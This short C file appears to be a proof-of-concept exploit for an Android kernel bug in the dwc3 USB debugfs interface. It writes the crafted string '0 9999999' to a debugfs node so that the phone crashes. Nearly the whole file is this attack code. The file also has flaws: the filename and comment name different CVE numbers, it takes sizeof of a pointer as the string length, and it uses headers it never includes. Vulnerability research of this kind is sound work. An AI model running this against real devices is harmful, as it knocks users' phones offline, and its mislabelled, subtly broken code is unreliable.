CVE-2016-3813.c

/*** CVE-2016-3818.c
 *
 * https://code.google.com/p/android/issues/detail?id=206298
 * https://android.googlesource.com/kernel/msm.git/+/android-msm-bullhead-3.10-n-preview-1/drivers/usb/dwc3/debugfs.c#647
 *
 */


#include <stdlib.h>
#include <stdio.h>
#include <stdbool.h>
#include <strings.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <inttypes.h>

static const char *dev = "/sys/kernel/debug/f9200000.dwc3";
static const char *str = "0 9999999";

int main(void)
{
	int fd;
	char save[15] = { 0 };
	fd = open(dev, O_RDWR);
	if (fd < 0) {
		printf("Failed to open %s with %s\n", dev, strerror(errno));
		return EXIT_FAILURE;
	}

	if (write(fd, str, sizeof(str)) != sizeof(str)) {
		printf("failed to write entire payload\n");
		close(fd);
		return EXIT_FAILURE;
	}

	read(fd, save, sizeof(save));

	/* phone should crash */
	return EXIT_FAILURE;
}